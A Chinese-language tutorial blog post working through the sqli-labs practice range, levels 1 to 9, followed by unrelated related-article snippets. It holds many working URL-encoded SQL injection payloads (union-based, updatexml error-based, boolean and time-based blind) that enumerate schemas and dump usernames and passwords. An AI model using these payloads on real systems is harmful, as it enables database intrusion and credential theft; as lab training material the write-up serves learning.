sql注入---sqli靶场

news/2024/10/11 11:13:32/

1.什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库

2.sql注入原理

攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注
释掉的部分语句不会被执行

上面注入位置在‘ ’中,输入

会变成'id=1' 注入语句-- '用‘补全前面的单引号,再用--+注释掉后面包括单引号的语句确保注入语句正常运行不会报错

也可以在后面加单引号,补全单引号。rfc-1738标准中+会被空格替代

同样的注释符号还有//  /**/ 

#井号不能被识别,需要编码

3.sql注入一般步骤

 1.求闭合字符

 2.选择注入模式

 3.爆数据库

 4.爆表明

 5.爆列名

 6.爆字段

4.靶场练习

less-1

1.求闭合字符

输入\后面是单引号

单引号报错

极有可能是单引号闭合 --+不报错

2.爆库名

order by查询列数,为3时报错,4报错,所以当前数据库3列

联表查询,查看数据库,id为-1时查询失败,允许执行后面的查询语句

3.爆表名

sql">id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+     
//使用group_concat列出所有表名

4.爆列名

sql">id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5.爆字段,获取用户密码

sql">?id=-1%27%20union%20select%201,group_concat(id,username,password),3%20from%20users--+

less-2

1.求闭合字段

/后没有符号,很有可能数字型SQL注入

单引号报错

2.爆库名

求列数3不报错,4报错

3.爆表名

4.爆列名

5.爆字段

less-3

闭合字符是单引号括号,同上

less-4

闭合字符是双引号括号,同上

less-5 报错注入

1.求闭合字段

\后是单引号

单引号报错

判断注入点 错误不显示,正确you are in

2.爆库名

判断列数

用原方法显示you are in 

使用报错注入

sql">?id=1%27%20and%20updatexml(1,concat(0x3a,database(),0x3a),2)--+

爆表名

sql">?id=1%27%20and%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x23),1)--+

4.爆列名

sql">?id=1%27%20and%20updatexml(1,concat(0x23,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x23),1)--+

5.爆字段

sql">?id=1%27%20and%20updatexml(1,concat(0x23,(select%20group_concat(username,password)%20from%20users),0x23),1)--+

less-6布尔型盲注

布尔型盲注一般步骤

求闭合字符---求当前数据库名长度---求当前数据库名对应的ASCII值---求表的数量---求表名长度---求表名对应的ASCII值---求列的数量---求列名长度---求列名对应的ASCII值---求字段的数量---求字段名长度---求字段名对应的ASCII值

1.求闭合字符”

判断注入点

2.求当前数据库名长度

3.求当前数据库名ASCII值

4.求表的数量

sql">?id=1"%20and%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)=4--+

5.求表名的ASCII值

sql">?id=1"%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%201,1),1,1))=114--+

6.求列的数量

sql">?id=1"%20and%20(select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)=3--+

7.求列名长度

sql">/?id=1"%20and%20length((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1))=2--+

8.求列名ASCII值

sql">/?id=1"%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))=105--+

9.求字段数量

sql">?id=1"%20and%20(select%20count(id)%20from%20users)=13--+?id=1"%20and%20(select%20count(username)%20from%20users)=13--+

10.求字段内容

sql">?id=1"%20and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))=68--+

less-7

1.求闭合字符

输入\后不能找出闭合字段,尝试其他字符发现单引号报错,输入--+也报错,说明闭合字符有单引号,最终求出闭合字符是'))

2.求库名

?id=1%27))%20order%20by%203--+                           4报错列数是3

联表查询,报错注入都不行,使用布尔型盲注

步骤同6

无列名注入

通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

sql">?id=-1' union select * from (select * from users as a join users b)c--+

sql">?id=-1' union select * from (select * from users as a join users b using(id))c--+

 less---9   if语句

这关错误正确都是you  are in, 需要使用if和sleep观察状态

sql">?id=1%27%20and%20if(0,1,sleep(10))--+//如果0正确则立刻执行,否则暂停10秒
sql">?id=1%27%20and%20if(length(database())=2,1,sleep(10))--+

      

1.求闭合字符

sql">?id=1%27%20and%20if(1=2,1,sleep(10))--+
//当闭合字符正确时才会暂停,其余情况you  are in
//判断注入点

2.查看数据库长度

sql">http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27%20and%20if(length(database())%3E10,1,sleep(10))--+              
//暂停十秒,长度小于10
?id=1%27%20and%20if(length(database())>5,1,sleep(10))--+
//不暂停,长度大于5
/?id=1%27%20and%20if(length(database())=8,1,sleep(10))--+
长度为8

3.求数据库的ascii值

sql">?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))>115,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))<115,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))=115,1,sleep(10))--+
//正确

4.求表的个数

sql">?id=1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)>10,1,sleep(10))--+
//暂停
?id=1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)>5,1,sleep(10))--+
//暂停
?id=1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)=4,1,sleep(10))--+
//正确

5.求表的ascii值,求表明

sql">?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),1,1))<100,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),1,1))=101,1,sleep(10))--+
//正确

6.求列数

sql">?id=1%27%20and%20if((select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)=2,1,sleep(10))--+
//暂停
?id=1%27%20and%20if((select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)=3,1,sleep(10))--+
//正确

7.求列名

sql">?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%200,1),1,1))>115,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%200,1),1,1))>107,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%200,1),1,1))=105,1,sleep(10))--+
//正确

8.求字段

sql">?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))=67,1,sleep(10))--+
//正确


http://www.ppmy.cn/news/1460724.html

相关文章

PHP单独项目启动演示

文章目录 phpstudy得到文件打开phpStudy.exe运行项目 Apache运行后又自动停止 phpstudy 得到文件 一般我们会得到这么一个项目文件&#xff0c;如果外层有“中文路径”&#xff0c;请剪切此内容作为项目根目录即可 打开phpStudy.exe 因为我又正常的编程环境和mysql&#x…

医疗行业面临的网络安全挑战及应对策略

网络攻击已经成为各行各业日益严重的威胁&#xff0c;但医疗行业尤其容易受到影响。2023年&#xff0c;医疗领域的黑客事件占数据泄露的79.7%。 医疗领域 虽然患者、医疗服务提供者和决策者都对保护医疗信息有所关注&#xff0c;但关键的弱点在于提供电子健康记录&#xff08;…

leetCode刷题记录4-面试经典150题-2

文章目录 不要摆&#xff0c;没事干就刷题&#xff0c;只有好处&#xff0c;没有坏处&#xff0c;实在不行&#xff0c;看看竞赛题面试经典 150 题 - 2210. 课程表 II909. 蛇梯棋433. 最小基因变化 不要摆&#xff0c;没事干就刷题&#xff0c;只有好处&#xff0c;没有坏处&am…

Secnet-智能路由系统 actpt_5g.data 信息泄露漏洞复现

0x01 产品简介 Secnet安网智能AC管理系统是广州安网通信技术有限公司&#xff08;简称“安网通信”&#xff09;的无线AP管理系统。 0x02 漏洞概述 Secnet-智能路由系统 actpt_5g.data 接口存在信息泄露漏洞&#xff0c;未经身份验证的远程攻击者可以利用此漏洞获取系统账户…

【VUE】el-descriptions 描述列表

Descriptions 描述列表 列表形式展示多个字段。 <el-descriptions title"用户信息"><el-descriptions-item label"用户名">kooriookami</el-descriptions-item><el-descriptions-item label"手机号">18100000000</e…

Java基础杂集

1、包装缓存机制&#xff1a;Byte、Short、Integer、Long默认缓存了-128—127相应类型的缓存数据&#xff0c;而Double和Float没有缓存&#xff0c;Character缓存了0 - 127之间的数据&#xff0c;Boolean直接返回false和true。 加上自动装箱拆箱&#xff08;valueOf&#xff0…

uniapp生成二维码(uQRCode)与自定义绘制样式与内容

二维码生成使用了一款基于Javascript环境开发的插件 uQRCode &#xff0c;它不仅适用于uniapp&#xff0c;也适用于所有Javascript运行环境的前端应用和Node.js。 uQRCode 插件地址&#xff1a;https://ext.dcloud.net.cn/plugin?id1287 目录 1、npm安装 2、通过import引…

BUU-[GXYCTF2019]Ping Ping Ping

考察点 命令执行 题目 解题 简单测试 ?ip应该是一个提示&#xff0c;那么就测试一下?ip127.0.0.1 http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip127.0.0.1发现正常回显 列出文件 那么猜测一下可能会有命令执行漏洞&#xff0c;测试?ip127.0.…